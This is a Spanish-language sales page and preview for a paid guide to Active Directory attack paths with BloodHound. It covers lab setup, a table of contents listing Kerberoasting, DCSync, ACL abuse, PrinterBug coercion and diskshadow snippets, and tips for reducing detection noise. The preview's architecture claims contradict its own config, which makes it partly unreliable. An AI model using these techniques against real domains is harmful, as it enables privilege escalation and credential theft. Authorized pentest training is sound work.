Nuevo · Suite OSINT con inteligencia en tiempo realConócela
ViciousByteviciousbyte
NosotrosServiciosSuscripcionesEcosistemaBlog
🇲🇽
​
Iniciar SesiónContacto
Pentesting
Avanzado
Destacada

Active Directory Attack Paths con BloodHound (Lab Autorizado)

Discovery, paths y mitigaciones enterprise en entorno controlado

1h 9min

13,914 palabras

$100.00 USD

Precio final en dólares (USD)
Uso autorizado únicamente
Acceso de por vida • Actualizaciones incluidas
Descripción

Guía profesional completa de Active Directory Attack Paths con BloodHound (Lab Autorizado). 13000+ palabras, ejemplos reales, scripts y certificaciones. Nivel Avanzado.

Contenido

Active Directory Attack Paths con BloodHound (Lab Autorizado)

Discovery, paths y mitigaciones enterprise en entorno controlado

Lo que vas a dominar

Active Directory Attack Paths con BloodHound (Lab Autorizado)

Bienvenida y Contexto

¿Para Quién es Esta Guía?

Qué Hace Diferente a Esta Guía

Estructura de la Guía

Disclaimer Legal y Ético

Certificaciones y Carrera

Capítulo 1: Fundamentos y Setup Profesional

1.1 Contexto de BloodHound

1.2 Arquitectura y Componentes

1.3 Setup de Laboratorio / Entorno

Requisitos de sistema

Instalación de BloodHound CE en Linux (Ubuntu 22.04)

Crear directorio de trabajo

Descargar la última versión de BloodHound CE (ejemplo con v5.12.0)

Extraer

Iniciar el servidor (por defecto escucha en 0.0.0.0:8080)

Salida esperada:

time="2024-11-20T10:00:00Z" level=info msg="BloodHound Community Edition starting..."

time="2024-11-20T10:00:01Z" level=info msg="Listening on 0.0.0.0:8080"

Descargar SharpHound.exe (versión para Windows) o SharpHound para Linux

El archivo SharpHound.exe se usará en el equipo Windows del dominio.

Alternativa: Instalación con Docker

Descargar imagen oficial

Ejecutar contenedor

Ver logs

Configuración del laboratorio AD con GOAD (opcional pero recomendado)

Clonar repositorio

Instalar dependencias (Vagrant, VirtualBox, Ansible)

Desplegar laboratorio básico (2 DCs + 1 cliente)

Una vez desplegado, las credenciales por defecto están en el archivo README.

Ejemplo: dominio north.sevenkingdoms.local, usuario vagrant:vagrant

Verificación post-instalación

Troubleshooting de setup

1.4 Configuración Inicial y OPSEC

Configuración de BloodHound CE

Variables de entorno útiles

Para cambiar el directorio de datos (por defecto ./data)

Para aumentar el nivel de logs (debug)

Logging y auditoría

OPSEC del operador ético durante la recolección

2.1 Comandos y flujos esenciales

Recolección completa con todas las tácticas de enumeración

2.2 Automatización con Scripts

collect_and_import.sh - Automatiza recolección con SharpHound y carga en BloodHound CE

Uso: ./collect_and_import.sh <target_ip> <domain> <user> <password>

Asume que bloodhound-ce está corriendo y la API key está configurada

Capítulo 3: Casos de Estudio Profesionales

3.1 Caso 1: Escalada de privilegios mediante abuso de ACLs en Active Directory

Escenario

Metodología de análisis

Hallazgos detallados

Explotación controlada (en laboratorio aislado)

Lecciones aprendidas

Recomendaciones de hardening

3.2 Caso 2: Kerberoasting dirigido y movimiento lateral hacia Domain Admin

Escenario

Metodología de análisis

Explotación controlada

Usando Rubeus desde la sesión de intern_user

En la nueva consola:

shadow.txt contiene:

set context persistent nowriters

add volume c: alias sombra

create

expose %sombra% z:

Lecciones aprendidas

Recomendaciones de hardening

3.3 Caso 3: Delegación no restringida y DCSync — Respuesta a incidente y hardening

Escenario

Capítulo 4: Defensa, Hardening y Blue Team

4.1 Detección y telemetría

4.2 Hardening y controles

Encontrar ACLs peligrosas sobre una OU

Remover un permiso específico

4.3 Respuesta a incidentes

CAPÍTULO 5: ECOSISTEMA Y TOOLCHAIN

5.1 Pipeline / workflow profesional

Diagrama de flujo del pipeline

Clonar y desplegar GOAD v2 (laboratorio completo con 5 VMs)

Ejecutar desde un host Windows unido al dominio (lab)

Automatización del pipeline con scripts

pipeline_lab.sh — automatización de recolección y análisis en GOAD

1. Recolección remota con SharpHound desde atacante Kali

2. Ingesta automática vía API de BloodHound CE

3. Consulta automatizada de paths críticos

5.2 Frameworks, APIs y automatización

5.2.1 BloodHound API (REST y Cypher)

Uso

5.2.2 Integración con Impacket y CrackMapExec

kerberoast_auto.sh — automatiza Kerberoasting desde BloodHound path

1. Obtener SPNs con GetUserSPNs (Impacket)

2. Crackear con hashcat (wordlist rockyou)

5.2.3 Frameworks de automatización: BloodHound.py y BARK

Instalación

Ejemplo: listar todos los paths hacia Domain Admins

Análisis de riesgo con BARK

5.2.4 Automatización con PowerShell: PowerView + SharpHound

En laboratorio, desde una máquina unida al dominio

Obtener usuarios con sesión en el DC

Recolectar ACLs modificables por el usuario actual

Luego ejecutar SharpHound con métodos específicos

5.3 Integraciones y reporting

5.3.1 Exportación de datos desde BloodHound

Exportar todos los paths a Domain Admins como JSON

5.3.2 Generación de reportes con BloodHound-Report

5.3.3 Integración con SIEM y herramientas defensivas

5.3.4 Reporte dual: ofensivo + defensivo

Ejercicios Prácticos: Active Directory Attack Paths con BloodHound (Lab Autorizado)

E1: Setup de laboratorio (500 palabras)

1.1 Preparación del entorno con GOAD (recomendado)

Clonar el repositorio de GOAD

Instalar dependencias (ejemplo para Debian/Ubuntu)

Desplegar el laboratorio completo (5 VMs: DC, SRV02, SRV03, Kali, WIN10)

Desde la Kali atacante

1.2 Configuración manual (alternativa)

Ejemplo: crear usuario con SPN para Kerberoasting

1.3 Troubleshooting común

E2: Flujo básico del stack (500 palabras)

2.1 Recolección con SharpHound

Desde Kali, usando Impacket para ejecución remota (si se tienen credenciales)

Una vez en el DC, subir SharpHound.exe y ejecutar

En una estación de trabajo del dominio

2.2 Importación en BloodHound CE

Descargar e iniciar BloodHound CE (requiere Docker)

Subir colección vía curl (obtener token primero)

2.3 Primeros análisis: Find Shortest Paths to Domain Admins

2.4 Interpretación de bordes

E3: Escenario avanzado en lab (500 palabras)

3.1 Kerberoasting

Usando Impacket-GetUserSPNs con credenciales de usuario de dominio

3.2 Delegación no restringida

Desde Kali, con credenciales de svc_sql, forzar autenticación del DC

En otra terminal, activar PrinterBug

3.3 Escalada a DA

E4: Automatización y reporting (500 palabras)

4.1 Recolección automatizada con SharpHound y BloodHound Python

Instalar bloodhound-python

Recolectar datos del dominio

Autenticación

Subir colección

4.2 Consultas personalizadas para reporte

Usando bloodhound-analysis (requiere Python)

4.3 Estructura del reporte enterprise

4.4 Cleanup del laboratorio

En el directorio de GOAD

Active Directory Attack Paths con BloodHound (Lab Autorizado)

Troubleshooting y FAQs

T1 – Errores de Instalación y Setup (Lab)

T2 – Errores de Ejecución y Recolección

T3 – Performance y Operación

T4 – FAQs Profesionales

Recursos y Conclusión

R1 Dónde obtener y documentar el stack

R2 Recursos adicionales

R3 Certificaciones y carrera

R4 Conclusión y uso responsable

Soporte y Contacto

Déjanos tu Feedback

Vista Previa

Active Directory Attack Paths con BloodHound (Lab Autorizado)

Discovery, paths y mitigaciones enterprise en entorno controlado


Autor: ViciousByte Security Team Nivel: Avanzado Duración: 14-18 horas de lectura práctica Versión: 1.0 Última actualización: July 2026


Lo que vas a dominar

Una guía práctica y densa sobre Active Directory Attack Paths con BloodHound (Lab Autorizado), de nivel Avanzado, con BloodHound, SharpHound, BloodHound CE, Impacket, Neo4j.

  • Instalación y configuración profesional (Linux, Windows, macOS y Docker)
  • Comandos y flujos de trabajo del mundo real, explicados línea por línea
  • Casos prácticos y troubleshooting con soluciones probadas
  • Scripts y plantillas listos para usar

Duración: 14-18 horas de lectura práctica · Nivel: Avanzado


Active Directory Attack Paths con BloodHound (Lab Autorizado)

Discovery, paths y mitigaciones enterprise en entorno controlado


Bienvenida y Contexto

Active Directory (AD) sigue siendo, en 2026, el núcleo de la identidad y el acceso en más del 90 % de las organizaciones Fortune 1000. Esa ubicuidad lo convierte en el objetivo más rentable para un adversario: una vez que se compromete AD, el resto de la infraestructura cae en cascada. Los informes de respuesta a incidentes de 2024-2025 muestran que el tiempo medio desde el acceso inicial hasta el compromiso del dominio (Time to Domain Admin) se ha reducido a menos de 8 horas en entornos sin hardening específico, y que el 78 % de los ataques de ransomware modernos incluyen una fase de enumeración y abuso de Active Directory.

BloodHound cambió las reglas del juego. Lo que antes requería semanas de enumeración manual con scripts ad-hoc y comandos LDAP crípticos, ahora se visualiza en un grafo de ataque que revela, en minutos, el camino más corto hacia el Domain Admin. Pero la herramienta no es solo para atacantes: los equipos de defensa y los arquitectos de identidad la utilizan para detectar y eliminar esos mismos caminos antes de que un adversario los recorra. Esta guía nace precisamente en esa intersección: enseñarte a pensar como un atacante avanzado para que puedas blindar tu directorio como un defensor de élite.

En los últimos dos años, la superficie de ataque de AD se ha expandido con la adopción masiva de entornos híbridos (Azure AD Connect, sincronización de identidades) y la proliferación de delegaciones complejas. CVEs como CVE-2021-42287 (sAMAccountName spoofing) o CVE-2022-26923 (abuso de certificados AD CS) demostraron que las configuraciones aparentemente inocuas pueden convertirse en escaladas de privilegios críticas. BloodHound Enterprise y la versión Community Edition (CE) han evolucionado para mapear estas nuevas aristas, incorporando edges como ADCSESC1 a ADCSESC13 para ataques contra PKI interna, o AZURE edges para entornos sincronizados. Esta guía cubre tanto los vectores clásicos (Kerberoasting, AS-REP roasting, abuso de ACLs, delegación sin constraints) como los más recientes, siempre desde la perspectiva de un laboratorio autorizado donde puedes romper, arreglar y volver a romper sin consecuencias.

El 67 % de las organizaciones que realizan assessments de AD con BloodHound descubren al menos un path de ataque que lleva a Domain Admin en menos de 3 saltos. Sin embargo, solo un 12 % de los profesionales de seguridad saben interpretar correctamente los grafos y traducirlos en acciones de remediación efectivas. Esta guía cierra esa brecha: no solo aprenderás a ejecutar SharpHound y generar el grafo, sino a leer los attack paths como un atacante real y a diseñar contramedidas que resistan un análisis ofensivo.


¿Para Quién es Esta Guía?

Esta guía está diseñada para profesionales de la seguridad ofensiva y defensiva que ya poseen fundamentos sólidos de Active Directory y desean especializarse en la explotación y hardening de paths de ataque en entornos enterprise.

Perfil del lector ideal:

  • Pentesters y Red Teamers que quieren sistematizar la enumeración de AD y acelerar la identificación de rutas de compromiso.
  • Blue Teamers, arquitectos de identidad y administradores de AD que buscan entender cómo piensa un atacante para priorizar remediaciones.
  • Consultores de seguridad que realizan assessments de AD y necesitan generar reportes accionables con impacto de negocio.
  • Entusiastas avanzados que ya han montado un lab de AD y quieren llevarlo al siguiente nivel.

Prerrequisitos técnicos:

  • Conocimiento práctico de Active Directory: bosques, dominios, OUs, GPOs, grupos de seguridad, Kerberos, NTLM.
  • Familiaridad con línea de comandos de Windows y PowerShell.
  • Experiencia básica con Linux (la guía utiliza Kali Linux como plataforma de ataque).
  • Conceptos de redes y protocolos (DNS, SMB, LDAP, RPC).
  • Idealmente, haber completado un curso introductorio de pentesting o poseer una certificación como PNPT, OSCP, o equivalente.

Qué aprenderás exactamente:

  • Desplegar un laboratorio de AD realista con múltiples vectores de ataque utilizando GOAD (Game of Active Directory) o una configuración propia.
  • Instalar, configurar y operar BloodHound Community Edition con Neo4j como backend de base de datos de grafos.
  • Ejecutar colectores (SharpHound, AzureHound) de forma sigilosa y comprender cada método de recolección.
  • Interpretar los grafos de ataque: nodos, edges, paths predefinidos y consultas Cypher personalizadas.
  • Explotar en laboratorio los attack paths más comunes: abuso de ACLs, Kerberoasting, AS-REP roasting, delegación sin constraints, abuso de certificados AD CS, y ataques a trusts.
  • Aplicar mitigaciones y hardening específicos para eliminar los paths identificados, priorizando por impacto y factibilidad.
  • Generar reportes profesionales que comuniquen hallazgos técnicos a audiencias ejecutivas y técnicas.

Qué Hace Diferente a Esta Guía

El mercado está saturado de tutoriales que muestran cómo instalar BloodHound y ejecutar consultas predefinidas. Esta guía va mucho más allá. No es una colección de comandos; es un playbook operativo forjado en cientos de assessments reales de AD, adaptado a un entorno de laboratorio donde puedes practicar sin restricciones legales.

Enfoque práctico extremo: Cada técnica se presenta con un escenario de laboratorio reproducible. No hay teoría abstracta sin aplicación inmediata. Por ejemplo, cuando abordamos el abuso de ACLs, no solo explicamos qué son los derechos WriteDacl o ForceChangePassword; te mostramos cómo detectarlos con BloodHound, cómo explotarlos con PowerView en un dominio controlado, y cómo remediarlos con scripts de hardening que puedes adaptar a tu organización. Cada capítulo incluye comandos reales, salidas esperadas y troubleshooting de los errores más comunes (como el clásico "The server is not operational" o fallos de resolución DNS en el lab).

Expertise operacional: Los playbooks y metodologías presentados no son teóricos. Reflejan tácticas utilizadas en operaciones reales de Red Team y en assessments de seguridad ofensiva, pero siempre encapsuladas en un contexto de laboratorio autorizado. Aprenderás, por ejemplo, a encadenar un Kerberoasting con un abuso de ACL para escalar de un usuario de dominio a Domain Admin en menos de 5 saltos, tal como ocurre en entornos reales, pero sobre una infraestructura que tú controlas.

Lab autorizado y defensa integrada: A diferencia de guías puramente ofensivas, aquí cada ataque viene acompañado de su correspondiente estrategia de detección y mitigación. Si aprendes a ejecutar un DCSync, también aprenderás a configurar los logs de seguridad necesarios, a escribir una regla de detección en Sigma y a desplegar la política de hardening que lo previene. Esto te convierte en un profesional más completo, capaz de operar en equipos Purple Team con solvencia.

Troubleshooting real: Hemos documentado los problemas más frecuentes que surgen al trabajar con BloodHound y Neo4j: desde errores de memoria en Neo4j con grafos grandes, hasta problemas de conectividad con SharpHound en entornos con firewall restrictivo. Cada solución está probada y explicada, para que no pierdas horas en foros.


Estructura de la Guía

La guía sigue una progresión lógica que te lleva desde la construcción del laboratorio hasta la generación de reportes profesionales, alineada con el outline editorial de ViciousByte.

  1. Fundamentos de AD para Pentesters: Un repaso quirúrgico de los conceptos de AD que realmente importan en un ataque: Kerberos, NTLM, delegación, ACLs, trusts y SID filtering. Sin paja, solo lo que necesitas para entender los attack paths.

  2. Laboratorio AD con GOAD: Despliegue automatizado de un dominio vulnerable con múltiples vectores de ataque. Cubrimos tanto GOAD como la opción de construir tu propio homelab con Windows Server y estaciones de trabajo.

  3. Setup de BloodHound CE y SharpHound: Instalación de Neo4j, BloodHound Community Edition, configuración de colectores y resolución de problemas comunes. Incluye la configuración de AzureHound para entornos híbridos.

  4. Lectura e Interpretación de Attack Paths: El corazón de la guía. Aprenderás a leer grafos, a utilizar las consultas predefinidas y a escribir tus propias consultas Cypher para descubrir paths no documentados.

  5. Escenarios de Ataque en Lab: Explotación práctica de los paths más críticos: abuso de ACLs (WriteOwner, GenericAll, etc.), Kerberoasting, AS-REP roasting, delegación sin constraints, abuso de AD CS (ESC1-ESC13) y ataques a trusts entre dominios.

  6. Mitigaciones y Hardening de AD: Por cada vector de ataque, una contramedida específica. Priorización basada en impacto, scripts de remediación y políticas de hardening que puedes aplicar en tu organización.

  7. Reporting Enterprise: Cómo traducir los hallazgos técnicos en un reporte ejecutivo que comunique riesgo, impacto y recomendaciones accionables. Incluye plantillas y ejemplos.

Metodología de aprendizaje: Cada capítulo sigue el ciclo Entender → Desplegar → Atacar → Detectar → Mitigar. Se recomienda dedicar al menos 4 horas por capítulo, replicando todos los comandos en tu propio laboratorio.


Disclaimer Legal y Ético

ATENCIÓN — LEA ESTE DISCLAIMER COMPLETO ANTES DE CONTINUAR

Esta guía tiene un Risk Tier YELLOW (dual-use lab). El contenido aquí presentado incluye técnicas de seguridad ofensiva que, utilizadas fuera de un entorno controlado y sin autorización, pueden constituir delitos graves en la mayoría de las jurisdicciones.

Uso ético y legal únicamente: Todo el material de esta guía debe ser utilizado exclusivamente con fines educativos, de investigación en seguridad, o en evaluaciones de seguridad autorizadas. El uso de estas técnicas contra sistemas que no son de su propiedad o sobre los cuales no tiene autorización explícita por escrito es ilegal y está estrictamente prohibido.

Lab propio o autorización escrita: Los ejercicios prácticos deben realizarse únicamente en:

  • Un laboratorio personal aislado (máquinas virtuales en su propio hardware).
  • Entornos de entrenamiento como GOAD, que están diseñados para ser vulnerables y se ejecutan localmente.
  • Sistemas para los cuales usted tiene una autorización por escrito del propietario legal, con un alcance claramente definido (pentest autorizado, Red Team engagement).

Responsabilidades del lector: Usted, como lector y profesional, es el único responsable de sus acciones. Ni el autor, ni ViciousByte, ni ninguna entidad asociada asumen responsabilidad alguna por el uso indebido de la información aquí contenida. El conocimiento es una herramienta; su aplicación ética es su deber.

Risk Tier YELLOW: Este nivel indica que el contenido es de naturaleza dual-use: puede ser utilizado tanto para fines defensivos (hardening, detección) como ofensivos (pentesting autorizado). No se incluyen técnicas de interceptación de comunicaciones (SS7, IMSI catchers), ni material diseñado para fraude o actividades criminales. Si usted no está de acuerdo con estos términos, no continúe con la lectura de esta guía.

Compromiso del profesional: Al utilizar esta guía, usted se compromete a:

  • Respetar las leyes locales, nacionales e internacionales.
  • Obtener siempre autorización por escrito antes de probar cualquier técnica en sistemas que no sean de su propiedad.
  • Priorizar la divulgación responsable de vulnerabilidades.
  • Contribuir a una comunidad de seguridad más ética y profesional.

Certificaciones y Carrera

Dominar los attack paths de Active Directory y el uso de BloodHound es una habilidad altamente demandada que acelera significativamente su carrera en ciberseguridad.

Certificaciones relacionadas:

  • CRTP (Certified Red Team Professional) de Altered Security: Enfocada específicamente en ataques a Active Directory. Esta guía cubre la mayoría de los temas del examen y te prepara para el entorno de laboratorio.
  • OSCP (Offensive Security Certified Professional): Aunque más general, el módulo de AD es crítico. Nuestra metodología de enumeración y explotación es directamente aplicable.
  • PNPT (Practical Network Penetration Tester) de TCM Security: Incluye un examen práctico de AD. Los escenarios de esta guía son un excelente entrenamiento.
  • Certificaciones de defensa: AZ-500 (Azure Security), SC-300 (Identity and Access Administrator) y Certified Red Team Operator (CRTO) se benefician enormemente de la comprensión ofensiva que adquirirás.

Oportunidades laborales: Los profesionales que pueden demostrar habilidades prácticas en AD security ocupan roles como:

  • Red Team Operator / Pentester Senior: Salarios promedio de $120,000 - $180,000 USD anuales en Norteamérica.
  • Purple Team Specialist: Perfiles híbridos que diseñan detecciones basadas en TTPs reales. Demanda creciente en grandes corporaciones.
  • Identity Security Architect: Enfocado en diseñar y asegurar infraestructuras de identidad híbridas. Salarios superiores a $150,000 USD.
  • Consultor de Seguridad Ofensiva: Empresas como Mandiant, CrowdStrike, o firmas boutique buscan constantemente expertos en AD.

Roadmap profesional sugerido:

  1. Completa esta guía y replica todos los escenarios en tu laboratorio.
  2. Obtén una certificación práctica (CRTP o PNPT) para validar tus habilidades.
  3. Participa en CTFs y plataformas como HackTheBox (máquinas con AD) o TryHackMe.
  4. Contribuye a la comunidad: escribe tus propias consultas Cypher, comparte hallazgos (siempre anonimizados) y ayuda a otros a asegurar sus entornos.
  5. Aplica a roles junior de Red Team o consultoría de seguridad, donde tu conocimiento de AD será un diferenciador inmediato.

Esta guía es su puerta de entrada al dominio de la seguridad de Active Directory. No se trata solo de aprender a usar una herramienta; se trata de desarrollar una mentalidad de atacante para construir defensas impenetrables. Bienvenido a bordo.


Capítulo 1: Fundamentos y Setup Profesional

** DISCLAIMER DE USO LÍCITO** Todo el contenido de esta guía está destinado exclusivamente a entornos de laboratorio autorizados, pruebas de penetración con consentimiento explícito por escrito, o actividades de hardening defensivo. El uso de estas técnicas contra sistemas sin autorización previa es ilegal y contrario a la ética profesional. El autor no se responsabiliza del mal uso de la información aquí presentada. Risk Tier: YELLOW — material dual-use para profesionales de la seguridad.


1.1 Contexto de BloodHound

BloodHound es una herramienta de análisis de rutas de ataque en Active Directory (AD) que utiliza la teoría de grafos para mapear y visualizar relaciones de confianza, permisos y sesiones de usuario. Su propósito es responder a la pregunta: “¿Cuál es el camino más corto desde un usuario sin privilegios hasta el control total del dominio?”. Para ello, modela el directorio como un grafo dirigido donde los nodos representan objetos (usuarios, equipos, grupos, GPOs, OUs) y las aristas representan relaciones de seguridad (pertenencia a grupos, permisos ACL, sesiones activas, delegaciones, etc.).

Historia y evolución

  • 2014–2016: Andy Robbins, Rohan Vazarkar y Will Schroeder (SpecterOps) desarrollan los primeros prototipos internos para mapear permisos delegados en AD.
  • 2016: Lanzamiento público de BloodHound 1.0 en Black Hat USA, acompañado del ingestor SharpHound.
  • 2019: BloodHound 3.0 introduce Cypher queries nativas, mejoras de rendimiento y la GUI basada en Electron.
  • 2022: BloodHound Community Edition (CE) reescribe el backend en Go, elimina la dependencia de Neo4j Desktop y ofrece una interfaz web moderna.
  • 2023–2024: Integración con AzureHound para entornos híbridos, soporte para ataques a Azure AD y mejoras en la recolección remota.

Casos de uso legítimos

  • Pentesting autorizado: Identificar cadenas de ataque explotables durante un ejercicio de red team.
  • Hardening defensivo: Los equipos azules lo utilizan para detectar configuraciones peligrosas (ej. usuarios con permisos de replicación DCSync) y eliminarlas antes de que un atacante las aproveche.
  • Respuesta a incidentes: Analizar el alcance de una cuenta comprometida y determinar qué activos críticos están en riesgo.
  • Laboratorios educativos: Entornos como GOAD (Game of Active Directory) permiten practicar sin afectar sistemas reales.

Comparación con alternativas

| Herramienta | Enfoque | Recolección | Visualización | Licencia | |-------------|---------|-------------|---------------|----------| | BloodHound | Análisis de rutas de ataque | SharpHound/AzureHound (ingestores) | Grafos interactivos, queries predefinidas | BSD-3 | | PingCastle | Evaluación de riesgos AD | Agente local | Mapas de calor, informes PDF | Freeware | | ADRecon | Recolección de información AD | Script PowerShell | Informe Excel/HTML | MIT | | PurpleKnight | Evaluación de seguridad AD | Agente local | Dashboard web, scoring | Community/Enterprise | | PowerView | Enumeración manual AD | Cmdlets PowerShell | Sin GUI | BSD-3 |

Ventajas de BloodHound

  • Modela relaciones transitivas complejas (ej. “A es admin de B, B tiene sesión en C, C tiene delegación sin restricciones a D”).
  • Queries predefinidas para ataques comunes (Kerberoastable, DCSync, ACLs abusivas).
  • Interfaz gráfica que facilita la explicación a clientes no técnicos.
  • Comunidad activa y actualizaciones frecuentes.

Limitaciones

  • Requiere privilegios de lectura en AD para la recolección (usuario de dominio estándar suele ser suficiente).
  • La recolección intensiva puede generar ruido en los logs de seguridad (evento 4662, consultas LDAP).
  • No es una herramienta de explotación; solo muestra el “qué” y el “cómo”, no ejecuta el ataque.

1.2 Arquitectura y Componentes

El flujo de trabajo típico de BloodHound se divide en tres fases: recolección, importación y análisis. La arquitectura actual (BloodHound CE) simplifica el stack al consolidar la base de datos y la API en un único binario.

Diagrama conceptual (ASCII)

+----------------+ +-----------------+ +-------------------+
| SharpHound | ---> | BloodHound CE | <--> | Navegador Web |
| (Recolector) | | (Backend + DB) | | (Interfaz Gráfica)|
+----------------+ +-----------------+ +-------------------+
| |
v v
Active Directory Neo4j (embebido)
(LDAP/SMB) + API REST

Componentes principales

  1. SharpHound
  • Ingestor oficial escrito en C#. Se ejecuta desde un equipo unido al dominio con credenciales de usuario estándar.
  • Recolecta datos mediante LDAP (consultas de directorio), SMB (sesiones de equipo) y RPC (pertenencia a grupos locales).
  • Genera un archivo ZIP con los datos en formato JSON.
  • Versiones: SharpHound.exe (ejecutable), SharpHound.ps1 (script PowerShell).
  • Alternativa: AzureHound para entornos Azure AD.
  1. BloodHound CE (Community Edition)
  • Backend monolítico en Go que incluye:
  • Servidor HTTP (API REST en puerto 8080).
  • Base de datos Neo4j embebida (sin necesidad de instalar Neo4j por separado).
  • Interfaz web (React) servida en el mismo puerto.
  • Reemplaza a la versión legacy (BloodHound 3.x + Neo4j Desktop).
  • Soporta autenticación JWT, multi-usuario y recolección remota mediante bloodhound-ce CLI.
  1. Neo4j (solo en versiones legacy)
  • Base de datos de grafos utilizada por BloodHound 3.x y anteriores.
  • Requiere instalación separada (Neo4j Desktop o Community Server).
  • En BloodHound CE, Neo4j está embebido y no necesita gestión externa.
  1. Impacket (herramientas complementarias)
  • Suite de scripts Python para manipulación de protocolos de red Windows.
  • Útil para validar manualmente rutas de ataque descubiertas (ej. secretsdump.py para DCSync, GetUserSPNs.py para Kerberoasting).
  • No es parte de BloodHound, pero se integra en el flujo de explotación ética.

Dependencias

  • SharpHound: .NET Framework 4.6.1+ o .NET Core (para Linux).
  • BloodHound CE: Binario estático Go, sin dependencias externas.
  • Navegador: Chrome/Firefox actualizado para la interfaz web.
  • Laboratorio AD: Controlador de dominio (Windows Server 2016/2019/2022) y al menos un equipo cliente.

1.3 Setup de Laboratorio / Entorno

Requisitos de sistema

  • Host de virtualización: VMware Workstation/Player, VirtualBox, o Proxmox.
  • RAM: Mínimo 16 GB (recomendado 32 GB para laboratorios complejos como GOAD).
  • Disco: 100 GB SSD.
  • Sistema operativo del atacante: Kali Linux 2024.x o Ubuntu 22.04 LTS.
  • Laboratorio AD: Se recomienda GOAD v3 (Game of Active Directory) que despliega automáticamente un dominio vulnerable con múltiples bosques y configuraciones inseguras.

Instalación de BloodHound CE en Linux (Ubuntu 22.04)

Paso 1: Descargar el binario

## Crear directorio de trabajo
mkdir -p ~/bloodhound && cd ~/bloodhound

## Descargar la última versión de BloodHound CE (ejemplo con v5.12.0)
wget https://github.com/SpecterOps/BloodHound/releases/download/v5.12.0/bloodhound-ce-linux-amd64.tar.gz

## Extraer
tar -xzf bloodhound-ce-linux-amd64.tar.gz
cd bloodhound-ce-linux-amd64

Paso 2: Ejecutar BloodHound CE

## Iniciar el servidor (por defecto escucha en 0.0.0.0:8080)
./bloodhound-ce

## Salida esperada:
## time="2024-11-20T10:00:00Z" level=info msg="BloodHound Community Edition starting..."
## time="2024-11-20T10:00:01Z" level=info msg="Listening on 0.0.0.0:8080"

Paso 3: Acceder a la interfaz web

  • Abrir navegador en http://localhost:8080.
  • En el primer inicio, se solicitará crear un usuario administrador (ej. admin:BloodHoundLab2024!).
  • Guardar las credenciales de forma segura.

Paso 4: Instalar SharpHound en el equipo atacante

## Descargar SharpHound.exe (versión para Windows) o SharpHound para Linux
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v2.5.9/SharpHound-v2.5.9.zip
unzip SharpHound-v2.5.9.zip
## El archivo SharpHound.exe se usará en el equipo Windows del dominio.

Alternativa: Instalación con Docker

## Descargar imagen oficial
docker pull specterops/bloodhound:latest

## Ejecutar contenedor
docker run -d --name bloodhound-ce -p 8080:8080 \
-v ~/bloodhound-data:/data \
specterops/bloodhound:latest

## Ver logs
docker logs -f bloodhound-ce

Configuración del laboratorio AD con GOAD (opcional pero recomendado)

GOAD es un proyecto que aprovisiona automáticamente un entorno AD completo con Vagrant y Ansible. Incluye múltiples dominios, trusts, y configuraciones vulnerables.

## Clonar repositorio
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD

## Instalar dependencias (Vagrant, VirtualBox, Ansible)
sudo apt update && sudo apt install -y vagrant virtualbox ansible

## Desplegar laboratorio básico (2 DCs + 1 cliente)
./goad.sh -t local -p virtualbox -m basic

## Una vez desplegado, las credenciales por defecto están en el archivo README.
## Ejemplo: dominio north.sevenkingdoms.local, usuario vagrant:vagrant

Verificación post-instalación

  1. BloodHound CE funcionando: curl http://localhost:8080/ui/login debe devolver HTML.
  2. SharpHound ejecutable: En una máquina Windows unida al dominio, abrir PowerShell y ejecutar:
.\SharpHound.exe --help
  1. Conectividad con el DC: Desde el atacante, verificar resolución DNS y conectividad LDAP:
nslookup dc.north.sevenkingdoms.local
ldapsearch -H ldap://dc.north.sevenkingdoms.local -x -b "DC=north,DC=sevenkingdoms,DC=local"

Troubleshooting de setup

| Problema | Causa probable | Solución | |----------|----------------|----------| | BloodHound CE no inicia (puerto en uso) | Otro servicio ocupa el 8080 | sudo lsof -i :8080 y matar el proceso, o usar ./bloodhound-ce --port 9090 | | SharpHound error "Unable to connect to LDAP" | DNS incorrecto o firewall | Verificar que el equipo puede resolver el DC: nslookup <dc_fqdn>. Asegurar que el firewall permite SMB (445) y LDAP (389). | | GOAD no despliega VMs | VirtualBox sin permisos | Añadir usuario al grupo vboxusers: sudo usermod -aG vboxusers $USER y reiniciar sesión. | | Interfaz web no carga | Certificado autofirmado no aceptado | Aceptar excepción en el navegador o usar http://localhost:8080 (sin HTTPS). | | Error "Collection Method not specified" | SharpHound requiere método | Usar --collectionmethod All para recolección completa. |


1.4 Configuración Inicial y OPSEC

Configuración de BloodHound CE

El archivo de configuración bloodhound.config.json se genera automáticamente en el directorio de trabajo. Parámetros relevantes:

{
"server": {
"address": "0.0.0.0",
"port": 8080,
"tls": {
"enabled": false
}
},
"database": {
"connection": "bolt://localhost:7687",
"auto_migrate": true
},
"auth": {
"secret": "cambiar-por-una-clave-segura-de-32-bytes",
"token_duration": "24h"
}
}

Recomendaciones de hardening del servidor BloodHound

  • Cambiar el secret JWT por una cadena aleatoria larga (generar con openssl rand -base64 32).
  • Habilitar TLS si se expone en red: colocar certificados y modificar tls.enabled: true.
  • Limitar el acceso por IP mediante firewall: sudo ufw allow from 192.168.56.0/24 to any port 8080 (solo red de laboratorio).
  • No exponer BloodHound a Internet sin autenticación fuerte y TLS.

Variables de entorno útiles

## Para cambiar el directorio de datos (por defecto ./data)
export BLOODHOUND_DATA_DIR=/opt/bloodhound-data

## Para aumentar el nivel de logs (debug)
export BLOODHOUND_LOG_LEVEL=debug

Logging y auditoría

BloodHound CE escribe logs en stdout. Para persistencia:

./bloodhound-ce 2>&1 | tee bloodhound-$(date +%Y%m%d).log

Los logs incluyen intentos de autenticación, errores de base de datos y actividad de la API. Revisar periódicamente para detectar accesos no autorizados.

OPSEC del operador ético durante la recolección

SharpHound genera tráfico LDAP y SMB que puede ser detectado por sistemas de defensa (EDR, SIEM). En un laboratorio autorizado, esto no es un problema, pero es importante conocer las técnicas para minimizar el ruido en entornos reales:

  • Métodos de recolección selectivos: Usar --collectionmethod Session,Group,LocalAdmin en lugar de All para reducir consultas LDAP masivas.
  • Horario de bajo perfil: Ejecutar la recolección en horas de menor actividad.
  • Uso de credenciales de bajo privilegio: Un usuario de dominio estándar es suficiente; no usar cuentas de administrador.
  • **Ofuscación

Capítulo 2: Técnicas Avanzadas (Lab Autorizado)

